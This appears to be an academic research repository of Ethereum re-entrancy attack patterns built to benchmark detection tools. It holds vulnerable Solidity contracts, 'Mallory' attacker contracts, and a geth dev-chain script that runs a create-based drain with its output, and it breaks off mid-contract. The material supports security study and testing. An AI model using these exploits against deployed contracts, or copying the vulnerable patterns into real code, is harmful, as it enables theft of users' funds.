├── README.md
├── create-based.sol
├── create-based_setup.js
├── cross-function.sol
├── cross-function_setup.js
├── delegated.sol
├── delegated_setup.js
├── manual-lock.sol
├── manual-lock_setup.js
├── simple.sol
├── simple_setup.js
├── unconditional.sol
└── unconditional_setup.js
/README.md:
--------------------------------------------------------------------------------
1 | # Re-Entrancy Attack Patterns
2 |
3 | These attack patterns were discovered during evaluation of `Sereum` a runtime
4 | monitoring solution for re-entrancy attacks, which utilizes taint tracking and
5 | dynamic write locks to detect and prevent re-entrancy attacks. For more
6 | information please refer to our paper *"Sereum: Protecting Existing Smart
7 | Contracts Against Re-Entrancy Attacks"* ([arxiv preprint](https://arxiv.org/abs/1812.05934)).
8 |
9 | For every type of attack pattern, this repository contains a small example
10 | implementation of a vulnerable contract and an attack. The source code of the
11 | vulnerable and attacker contracts are contained in the `*.sol` files. We also
12 | provide a `*_setup.js` file for every example, which deploys the contracts on a
13 | dev blockchain and exploits the vulnerability in the example contract. The
14 | scripts assume they're run in the geth dev mode blockchain (`geth --dev`).
15 |
16 | ### Cross-function re-entrancy
17 |
18 | **Example:** `./cross-function.sol`
19 |
20 | The Token contract in the example is vulnerable to a re-entrancy attack
21 | starting with the `withdrawAll` function. However, the attacker cannot
22 | re-enter the `withdrawAll`. Instead the attacker has to re-enter the contract
23 | at the `exchangeAndWithdrawToken` to exploit the bug and drain the vulnerable
24 | contract from ether.
25 |
26 | ### Delegated re-entrancy
27 |
28 | **Example:** `./delegated.sol`
29 |
30 | The `Bank` contract utilizes a library, called via `delegatecall`, for
31 | performing the ether sending. This obfuscates the re-entrancy vulnerability in
32 | the `withdraw` function. Any static analysis tool will not be able to detect
33 | this vulnerability when analyzing only the `Bank` contract and not the
34 | combination of the contract and its libraries.
35 |
36 | ### Create-based re-entrancy
37 |
38 | **Example:** `./create-based.sol`
39 |
40 | In this example, multiple contracts interact with each other. The `Bank`
41 | contract utilizes the `CREATE` instruction (i.e., `new` in solidity) to create
42 | new subcontracts. Contract creation immediately triggers the execution of the
43 | constructor of the newly created contract. This constructor can perform
44 | external calls to the unknown. This can lead to re-entrancy scenarios, where
45 | the attacker re-enters a contract, during execution of a sub-contracts
46 | constructor. For static analysis tools to catch these kinds of problems, they
47 | must (1) also analyze combination of contracts and (2) consider the `CREATE`
48 | instruction as an external call, similar to the `CALL` instruction.
49 |
50 |
51 | ## Tested Tools
52 |
53 | The following table lists the tools and versions we tested. If the tool detects
54 | the test-case, we mark it with "Yes", otherwise "No". Mythril, Securify and
55 | Slither use a conservative policy, that marks every state update after an
56 | external call. This would prevent all re-entrancy vulnerabilities, but also
57 | results in a rather high number of false positives. For example, for
58 | create-based re-entrancy vulnerabilities, it is highly likely that the creater
59 | of the contract, will want to modify the state (e.g., registering the address
60 | of the newly created contract). Another example would be the use of manual
61 | locking with mutexes, which is always reported with this policy.
62 |
63 | | Tool | Version | Simple | Cross-Function | Delegated | Create-based |
64 | | ------------- | ----------- | ---------------------- | ---------------------- | --------- | ------------ |
65 | | Oyente | 0.2.7 | Yes | No | No1 | No |
66 | | Mythril | v0.19.9 | Partial (conservative) | Partial (conservative) | No | Partial (conservative) |
67 | | Securify | 2018-08-01 | Partial (conservative) | Partial (conservative) | No | No |
68 | | Manticore2 | 0.2.2 | Yes | Yes3 | No | No |
69 | | Slither5 | 0.6.4 | Yes (conservative) | Yes (conservative) | Yes (conservative) | No |
70 | | ECFChecker | geth1.8port | Yes | Yes4 | Yes | No |
71 | | Sereum | | Yes | Yes | Yes | Yes |
72 |
73 |
74 | * 1 Oyente detects a re-entrancy in the Library contract. However,
75 | the library contract itself is arguably not vulnerable to re-entrancy.
76 | * 2 We evaluate the detector enabled with `--detect-reentrancy-advanced`.
77 | The other detector `--detect-reentrancy` uses a similar policy to Mythril and
78 | Securify.
79 | * 3 However, other tests (e.g., `manual-lock.sol`) show that
80 | Manticore is sometimes not as accurate and reports re-entrancy attacks even
81 | though they're not really possible.
82 | * 4 However, we crafted a different example for a cross-function
83 | re-entrancy attack that is not detected by ECFChecker. See the next section
84 | for details.
85 | * 5 In contrast to the other tools Slither works on the Solidity
86 | source code level. It has a similar policy to Mythril and Securify, i.e. it
87 | reports any state update after an external call using either the low-level
88 | Solidity `call` or `delegatecall` functions.
89 |
90 |
91 | ## Testcase: manual lock
92 |
93 | The file `manual-lock.sol` contains several versions of the same contract. These
94 | contracts can be used to investigate the quality of re-entrancy detection tools.
95 | This file contains three functionally equivalent contracts:
96 |
97 | * `VulnBankNoLock` is vulnerable to simple same function re-entrancy.
98 | * `VulnBankBuggyLock` is vulnerable to cross-function re-entrancy, due to a
99 | incomplete locking mechanism.
100 | * `VulnBankSecureLock` is not vulnerable due to the locking mechanism. However,
101 | the locking mechanism can result in a false positive.
102 |
103 | Furthermore, there are two types of attacks implemented against all of these
104 | contracts.
105 |
106 | * `MallorySameFunction` implements simple same-function re-entrancy
107 | * `MalloryCrossFunction` implements a cross-function re-entrancy attack
108 |
109 | Static analysis tools have a hard time correctly analysing the contracts. Oyente
110 | detects only the simple re-entrancy vulnerability and does not report the
111 | cross-function re-entrancy. Manticore on the other hand detects a re-entrancy
112 | bug in both the BuggyLock and SecureLock version, resulting in a false positive.
113 | Slither and Mythril mark any state update after an external call as a problem
114 | and therefore report a problem with every of those contract, even though the
115 | `SecureLock` variant is not exploitable.
116 |
117 | | Tool \ Testcase | NoLock | BuggyLock | SecureLock |
118 | | --------------- | -------- | --------- | ---------- |
119 | | Oyente | Yes | No | No |
120 | | Manticore | Yes | Yes | Yes |
121 | | Mythril | Yes | Yes | Yes |
122 | | Slither | Yes | Yes | Yes |
123 | | Expected | Yes | Yes | No |
124 |
125 | For the dynamic analysis tools, we use several combinations of vulnerable
126 | contracts and attack contracts. We verify whether the tool detects an attack
127 | against the same-function and cross-function re-entrancy attack.
128 |
129 | | Testcase \ Tool | ECFChecker | Sereum | Expected |
130 | | ---------------------------| ---------- | --------- | -------- |
131 | | NoLock + SameFunction | Yes | Yes | Yes |
132 | | NoLock + CrossFunction | No | Yes | Yes |
133 | | BuggyLock + SameFunction | No | Yes | No |
134 | | BuggyLock + CrossFunction | No | Yes | Yes |
135 | | SecureLock + SameFunction | No | Yes | No |
136 | | SecureLock + CrossFunction | No | Yes | No |
137 |
138 | The reason, Sereum reports all contracts, is that the locking mechanism itself
139 | does exhibit exactly the same pattern as an re-entrancy attack. So Sereum
140 | reports an re-entrancy attack on the lock variables, because Sereum cannot know
141 | the semantics of the lock variables.
142 |
143 |
144 | ## Unconditional Re-Entrancy
145 |
146 | **Example:** `./unconditional.sol`
147 |
148 | Typically a re-entrancy attack will try to subvert a business logic check of an
149 | application. Every check (`if`, `require`, `assert`, etc.) is implemented as a
150 | conditional jump (`JUMPI`) on the EVM level. While certainly unlikely it is
151 | possible to write a contract, which does not perform any check on anything
152 | before sending ether. In this example the functionality transfers all the ether
153 | a user has invested. This example is exploitable only with a re-entrancy
154 | vulnerability. ~~Currently this example is not detected by Sereum, since we
155 | assume that this is a rather unlikely case. We plan to detect this kind of
156 | vulnerabilities in a future versions of sereum.~~
157 |
158 | | Tool | Detected |
159 | | --------------- | --- |
160 | | Oyente | Yes |
161 | | Manticore | Yes |
162 | | Slither | Yes |
163 | | Mythril | Yes |
164 | | ECFChecker | Yes |
165 | | Sereum | ~~No~~ Yes1 |
166 |
167 | * 1 We have extended Sereum to cover this type of re-entrancy by
168 | tracking data-flow from storage variables to the parameters of calls.
169 |
170 | Another very simple example is the following contract, which is deployed on the Ethereum blockchain at [0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7](https://etherscan.io/address/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7#code).
171 |
172 | ## Citing in Academic Work
173 |
174 | If you want to refer to these attack patterns in academic work, please cite the
175 | following paper:
176 |
177 | ```bibtex
178 | @inproceedings{sereum-ndss19,
179 | title = "Sereum: Protecting Existing Smart Contracts Against Re-Entrancy Attacks",
180 | booktitle = "Proceedings of the Network and Distributed System Security Symposium ({NDSS'19})",
181 | author = "Rodler, Michael and Li, Wenting and Karame, Ghassan and Davi, Lucas",
182 | year = 2019
183 | }
184 | ```
185 |
--------------------------------------------------------------------------------
/create-based.sol:
--------------------------------------------------------------------------------
1 | pragma solidity 0.5;
2 | /*pragma solidity ^0.4.21;*/
3 |
4 | contract IntermediaryCallback {
5 | function registerIntermediary(address payable what) public payable;
6 | // for solidity 0.4.21
7 | /*function registerIntermediary(address what) public payable;*/
8 | }
9 |
10 | contract Intermediary {
11 | // this contract just holds the funds until the owner comes along and
12 | // withdraws them.
13 |
14 | address owner;
15 | Bank bank;
16 | uint amount;
17 |
18 | constructor(Bank _bank, address _owner, uint _amount) public {
19 | // for solidity 0.4.21
20 | /*function Intermediary(Bank _bank, address _owner, uint _amount) public {*/
21 | owner = _owner;
22 | bank = _bank;
23 | amount = _amount;
24 |
25 | // this contract wants to register itself with its new owner, so it
26 | // calls the new owner (i.e. the attacker). This passes control to an
27 | // untrusted third-party contract.
28 | IntermediaryCallback(_owner).registerIntermediary(address(this));
29 | }
30 |
31 | function withdraw() public {
32 | if (msg.sender == owner) {
33 | msg.sender.transfer(amount);
34 | }
35 | }
36 |
37 | function () payable external {}
38 | }
39 |
40 | contract Bank {
41 | mapping (address => uint) balances;
42 | mapping (address => Intermediary) subs;
43 |
44 | function getBalance(address a) public view returns(uint) {
45 | return balances[a];
46 | }
47 |
48 | function withdraw(uint amount) public {
49 | if (balances[msg.sender] >= amount) {
50 | // The new keyword creates a new contract (in this case of type
51 | // Intermediary). This is implemented on the EVM level with the CREATE
52 | // instruction. CREATE immediately runs the constructor of the
53 | // contract. i.e this must be seen as an external call to another
54 | // contract.
55 | // Even though the contract can be considered "trusted", it can
56 | // perform further problematic actions (e.g. more external calls)
57 | subs[msg.sender] = new Intermediary(this, msg.sender, amount);
58 | // state update **after** the CREATE
59 | balances[msg.sender] -= amount;
60 | address(subs[msg.sender]).transfer(amount);
61 | }
62 | }
63 |
64 | function deposit() public payable {
65 | balances[msg.sender] += msg.value;
66 | }
67 | }
68 |
69 | contract Mallory is IntermediaryCallback {
70 | Bank bank;
71 | uint state;
72 | Intermediary i1;
73 | Intermediary i2;
74 |
75 | function attack(Bank b, uint amount) public payable {
76 | state = 0;
77 | bank = b;
78 | // first deposit some ether
79 | bank.deposit.value(amount)();
80 | // then withdraw it again. This will create a new Intermediary contract, which
81 | // holds the funds until we retrieve it. This will trigger the
82 | // registerIntermediary callback.
83 | bank.withdraw(bank.getBalance(address(this)));
84 | // finally withdraw all the funds from our Intermediarys
85 | i1.withdraw();
86 | i2.withdraw();
87 |
88 | // note that bank.balances[this] has underflowed by now, so we will see
89 | // also a huge balances entry for the Mallory contract.
90 | }
91 |
92 | function registerIntermediary(address payable what) public payable {
93 | // for solidity 0.4.21
94 | /*function registerIntermediary(address what) public payable {*/
95 | // called by the newly created Intermediary contracts
96 | if (state == 0) {
97 | // we do not want to loop the re-entrancy until we run out of gas,
98 | // so we stop after the second withdrawal
99 | state = 1;
100 | // we keep track of the Intermediary, because it holds our funds
101 | i1 = Intermediary(what);
102 | // withdraw again - note that `bank.balances[this]` was not yet
103 | // updated.
104 | bank.withdraw(bank.getBalance(address(this)));
105 | } else if (state == 1) {
106 | state = 2;
107 | // this is the second Intermediary that holds funds for us
108 | i2 = Intermediary(what);
109 | } else {
110 | // ignore everything else
111 | }
112 | }
113 |
114 | function withdrawAll() public {
115 | i1.withdraw();
116 | i2.withdraw();
117 | }
118 |
119 | function () external payable {}
120 | }
121 |
--------------------------------------------------------------------------------
/create-based_setup.js:
--------------------------------------------------------------------------------
1 | // Script for deploying and running a create-based re-entrancy attack against a
2 | // crafted vulnerable contract (see create-based.sol)
3 | //
4 | // usage:
5 | // first start geth in developer mode (no mining difficulty and prefundend
6 | // accounts) and start the JavaScript console interface of geth:
7 | //
8 | // $ geth --dev --dev.period=1 console
9 | //
10 | // Then load this script to setup everything:
11 | //
12 | // > loadScript("create-based_setup.js")
13 | //
14 | // Sometimes it takes a while for all contracts to be mined and commited to the
15 | // dev blockchain. Manually creating more transactions helps. Simply type:
16 | //
17 | // > transferSomething()
18 | //
19 | // If both the Token and Mallory contracts have been mined, the attack can be
20 | // started:
21 | //
22 | // > triggerAttack()
23 | //
24 | //
25 | // Example:
26 | //
27 | // > loadScript("./create-based_setup.js")
28 | //
29 | // === Create-Based Re-Entrancy Attack Example ===
30 | //
31 | // prefunded balance: 1.15792089237316195423570985008687907853269984665640564039357584007913129639927e+77
32 | // attacker balance: 100000000000000000000
33 | // Creating bank contract
34 | // null [object Object]
35 | // Creating mallory contract
36 | // null [object Object]
37 | //
38 | // ===============================================================================
39 | // Wait for Bank and Mallory contracts to be mined.
40 | // Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Bank contract are mined.
41 | //
42 | // Use triggerAttack() to start the attack
43 | // ===============================================================================
44 | //
45 | // true
46 | // null [object Object]
47 | // Contract mined! address: 0x2bbe8fc806b3f8a603a1ecbba0bf9076dbc541f4 transactionHash: 0xaa851c6a349d4ec1bac36f4a42fe6c042932e983690dca25f943c6ed9565ba5c
48 | // null [object Object]
49 | // Mallory Contract mined! address: 0x6571cd964ee48f420e8c975791d7f5f7990456b9 transactionHash: 0x05f0213200e0a0c0fb664ab092fdbbe93560204a54c06e4a366e210b97c63e46
50 | //
51 | // > t = triggerAttack()
52 | //
53 | // [+] Current status:
54 | // mallory has 1000000 wei
55 | // mallory has 0 wei deposited in Bank
56 | // bank has 1000000 wei
57 | // victim has 1000000 wei deposited in Bank
58 | //
59 | // [+] Executing attack
60 | // [+] ... done (waiting for a couple of blocks)
61 | //
62 | // [+] Current status:
63 | // mallory has 2000000 wei
64 | // mallory has 1.15792089237316195423570985008687907853269984665640564039457584007913128639936e+77 wei deposited in Bank
65 | // bank has 0 wei
66 | // victim has 1000000 wei deposited in Bank
67 | // Warning: bank doesn't have enough ether to give back victim's money
68 | //
69 | // mallory gained 1000000 wei
70 | // [+] attack status: SUCCESS
71 | //
72 |
73 |
74 | console.log("\n=== Create-Based Re-Entrancy Attack Example ===\n")
75 |
76 | var defaultPassword = "";
77 |
78 | personal.newAccount(defaultPassword)
79 | personal.newAccount(defaultPassword)
80 | function unlockAllAccounts() {
81 | // this is the prefundend dev contract
82 | personal.unlockAccount(eth.accounts[0], defaultPassword)
83 | // we'll use this as "attacker"
84 | personal.unlockAccount(eth.accounts[1], defaultPassword)
85 | }
86 | unlockAllAccounts()
87 |
88 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[1], value: 100000000000000000000})
89 | admin.sleepBlocks(2)
90 |
91 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0]))
92 | console.log("attacker balance: " + eth.getBalance(eth.accounts[1]))
93 |
94 | function transferSomething() { // just transfer something to make geth commit the next block
95 | //console.log("(Transferring some ether)")
96 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100})
97 | admin.sleepBlocks(1)
98 | }
99 |
100 | transferSomething()
101 |
102 | console.log("Creating bank contract")
103 | var bankContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]);
104 | var bank = bankContract.new(
105 | {
106 | from: web3.eth.accounts[0],
107 | data: '0x608060405234801561001057600080fd5b506106ec806100206000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632e1a7d4d1461005c578063d0e30db014610097578063f8b2cb4f146100a1575b600080fd5b34801561006857600080fd5b506100956004803603602081101561007f57600080fd5b8101908080359060200190929190505050610106565b005b61009f610358565b005b3480156100ad57600080fd5b506100f0600480360360208110156100c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103a6565b6040518082815260200191505060405180910390f35b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610355573033826101586103ee565b808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051809103906000f0801580156101e4573d6000803e3d6000fd5b50600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610353573d6000803e3d6000fd5b505b50565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040516102c2806103ff8339019056fe608060405234801561001057600080fd5b506040516060806102c28339810180604052606081101561003057600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806002819055508173ffffffffffffffffffffffffffffffffffffffff16630242deb8306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561017857600080fd5b505af115801561018c573d6000803e3d6000fd5b50505050505050610120806101a26000396000f3fe608060405260043610603f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633ccfd60b146041575b005b348015604c57600080fd5b5060536055565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141560f2573373ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f1935050505015801560f0573d6000803e3d6000fd5b505b56fea165627a7a723058205d70fe64375e019ade8d160d402812b04bb65d05d139c6681729e0fc459cda760029a165627a7a7230582049c936fb0df07082806ded68281194b2acc01dfcd61f9b3c74ba0c5c2ee2c19c0029',
108 | gas: '4700000'
109 | }, function (e, contract){
110 | console.log(e, contract);
111 | if (typeof contract.address !== 'undefined') {
112 | console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
113 | }
114 | })
115 |
116 | transferSomething()
117 |
118 | console.log("Creating mallory contract")
119 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"what","type":"address"}],"name":"registerIntermediary","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"b","type":"address"},{"name":"amount","type":"uint256"}],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]);
120 | var mallory = malloryContract.new(
121 | {
122 | from: web3.eth.accounts[1],
123 | data: '0x608060405234801561001057600080fd5b5061087f806100206000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630242deb81461005957806352fba25c1461009d578063853828b6146100eb575b005b61009b6004803603602081101561006f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610102565b005b6100e9600480360360408110156100b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610353565b005b3480156100f757600080fd5b50610100610715565b005b600060015414156102f6576001808190555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561024c57600080fd5b505afa158015610260573d6000803e3d6000fd5b505050506040513d602081101561027657600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156102d957600080fd5b505af11580156102ed573d6000803e3d6000fd5b50505050610350565b60018054141561034e57600260018190555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061034f565b5b5b50565b6000600181905550816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561042057600080fd5b505af1158015610434573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561053057600080fd5b505afa158015610544573d6000803e3d6000fd5b505050506040513d602081101561055a57600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156105bd57600080fd5b505af11580156105d1573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561065b57600080fd5b505af115801561066f573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156106f957600080fd5b505af115801561070d573d6000803e3d6000fd5b505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561079b57600080fd5b505af11580156107af573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561083957600080fd5b505af115801561084d573d6000803e3d6000fd5b5050505056fea165627a7a72305820a9b96cb8c1f999e729f1b9fa2bdfa020a9bcd4f737ee353c7d23a264a598b1240029',
124 | gas: '4700000'
125 | }, function (e, contract){
126 | console.log(e, contract);
127 | if (typeof contract.address !== 'undefined') {
128 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
129 | }
130 | })
131 |
132 | admin.sleepBlocks(1)
133 | transferSomething()
134 |
135 | console.log("\n===============================================================================")
136 | console.log("Wait for Bank and Mallory contracts to be mined.")
137 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Bank contract are mined.")
138 | console.log("\nUse triggerAttack() to start the attack")
139 | console.log("===============================================================================\n")
140 |
141 |
142 | var _fundsInBank = 1000000;
143 |
144 | function donateInitial() {
145 | // victim deposits something into the bank
146 | bank.deposit({from: eth.accounts[0], value: _fundsInBank })
147 | // attacker funds mallory contract
148 | eth.sendTransaction({from: eth.accounts[1], to: mallory.address, value: _fundsInBank})
149 | admin.sleepBlocks(1);
150 | }
151 |
152 | function printStatus() {
153 | console.log("")
154 | console.log("[+] Current status:")
155 | console.log("mallory has " + eth.getBalance(mallory.address) + " wei")
156 | console.log("mallory has " + bank.getBalance(mallory.address) + " wei deposited in Bank")
157 | console.log("bank has " + eth.getBalance(bank.address) + " wei")
158 | console.log("victim has " + bank.getBalance(eth.accounts[0]) + " wei deposited in Bank")
159 | if (eth.getBalance(bank.address) < bank.getBalance(eth.accounts[0])) {
160 | console.log("Warning: bank doesn't have enough ether to give back victim's money")
161 | }
162 | console.log("")
163 | }
164 |
165 | function triggerAttack() {
166 | transferSomething();
167 | donateInitial();
168 | transferSomething();
169 |
170 | var preBalance = eth.getBalance(mallory.address)
171 | printStatus()
172 |
173 | console.log("[+] Executing attack")
174 | var t = mallory.attack(bank.address, _fundsInBank, {from: eth.accounts[1], gas: '4700000'})
175 | console.log("[+] ... done (waiting for a couple of blocks)")
176 |
177 | transferSomething();
178 | admin.sleepBlocks(3);
179 | printStatus()
180 |
181 | var gains = (eth.getBalance(mallory.address) - preBalance);
182 | console.log("mallory gained " + gains + " wei");
183 | if (gains > 0) {
184 | console.log("[+] attack status: SUCCESS");
185 | } else {
186 | console.log("[+] attack status: FAIL");
187 | }
188 |
189 | return t;
190 | }
191 |
192 | function getAttackTrace() {
193 | a = triggerAttack();
194 | return debug.traceTransaction(a);
195 | }
196 |
197 | transferSomething()
198 |
--------------------------------------------------------------------------------
/cross-function.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.5.0;
2 | /*pragma solidity ^0.4.19;*/
3 |
4 | contract Token {
5 |
6 | // This contract keeps track of two balances for it's users. A user can
7 | // send ether to this contract and exchange ether for tokens and vice
8 | // versa, given a varying exchange rate (currentRate).
9 | mapping (address => uint) tokenBalance;
10 | mapping (address => uint) etherBalance;
11 | uint currentRate;
12 |
13 | constructor() public {
14 | // for solidity 0.4.19
15 | /*function Token() public {*/
16 | currentRate = 2;
17 | }
18 |
19 | // This contract supports various utility functions for transferring,
20 | // exchanging Ether and Tokens.
21 | // Note that this probably makes it rather hard for symbolic execution
22 | // tools to execute all combinations of possible re-entry points.
23 |
24 | function getTokenCountFor(address x) public view returns(uint) {
25 | return tokenBalance[x];
26 | }
27 | function getEtherCountFor(address x) public view returns(uint) {
28 | return etherBalance[x];
29 | }
30 |
31 | function getTokenCount() public view returns(uint) {
32 | return tokenBalance[msg.sender];
33 | }
34 |
35 | function depositEther() public payable {
36 | if (msg.value > 0) { etherBalance[msg.sender] += msg.value; }
37 | }
38 |
39 | function exchangeTokens(uint amount) public {
40 | if (tokenBalance[msg.sender] >= amount) {
41 | uint etherAmount = amount * currentRate;
42 | etherBalance[msg.sender] += etherAmount;
43 | tokenBalance[msg.sender] -= amount;
44 | }
45 | }
46 |
47 | function exchangeEther(uint amount) public payable {
48 | etherBalance[msg.sender] += msg.value;
49 | if (etherBalance[msg.sender] >= amount) {
50 | uint tokenAmount = amount / currentRate;
51 | etherBalance[msg.sender] -= amount;
52 | tokenBalance[msg.sender] += tokenAmount;
53 | }
54 | }
55 | function transferToken(address to, uint amount) public {
56 | if (tokenBalance[msg.sender] >= amount) {
57 | tokenBalance[to] += amount;
58 | tokenBalance[msg.sender] -= amount;
59 | }
60 | }
61 |
62 | // This is the function that will be abused by the attacker during the
63 | // re-entrancy attack
64 | function exchangeAndWithdrawToken(uint amount) public {
65 | if (tokenBalance[msg.sender] >= amount) {
66 | uint etherAmount = tokenBalance[msg.sender] * currentRate;
67 | tokenBalance[msg.sender] -= amount;
68 | // safe because it uses the gas-limited transfer function, which
69 | // does not allow further calls.
70 | msg.sender.transfer(etherAmount);
71 | }
72 | }
73 |
74 | // Function vulnerable to re-entrancy attack
75 | function withdrawAll() public {
76 | uint etherAmount = etherBalance[msg.sender];
77 | uint tokenAmount = tokenBalance[msg.sender];
78 | if (etherAmount > 0 && tokenAmount > 0) {
79 | uint e = etherAmount + (tokenAmount * currentRate);
80 |
81 | // This state update acts as a re-entrancy guard into this function.
82 | etherBalance[msg.sender] = 0;
83 |
84 | // external call. The attacker cannot re-enter withdrawAll, since
85 | // etherBalance[msg.sender] is already 0.
86 | msg.sender.call.value(e)("");
87 |
88 | // problematic state update, after the external call.
89 | tokenBalance[msg.sender] = 0;
90 | }
91 | }
92 | }
93 |
94 | // attack contract
95 | contract Mallory {
96 | Token t;
97 | // this is used to stop the re-entrancy after the second time the Token
98 | // contract sends Ether to the Mallory contract.
99 | bool private abort;
100 |
101 | constructor(Token _t) public {
102 | // for solidity 0.4.19
103 | /*function Mallory(Token _t) public {*/
104 | t = _t;
105 | abort = false;
106 | }
107 |
108 | function deposit() public payable {}
109 |
110 | function setup() public payable {
111 | // exchange nearly all available ether to tokens
112 | uint avail = address(this).balance - 2;
113 | t.exchangeEther.value(avail)(avail);
114 | // deposit the last remaining ether
115 | t.depositEther.value(address(this).balance)();
116 | }
117 |
118 | function attack() public payable {
119 | // call vulnerable withdrawAll
120 | t.withdrawAll();
121 | }
122 |
123 | function () external payable {
124 | if (!abort) {
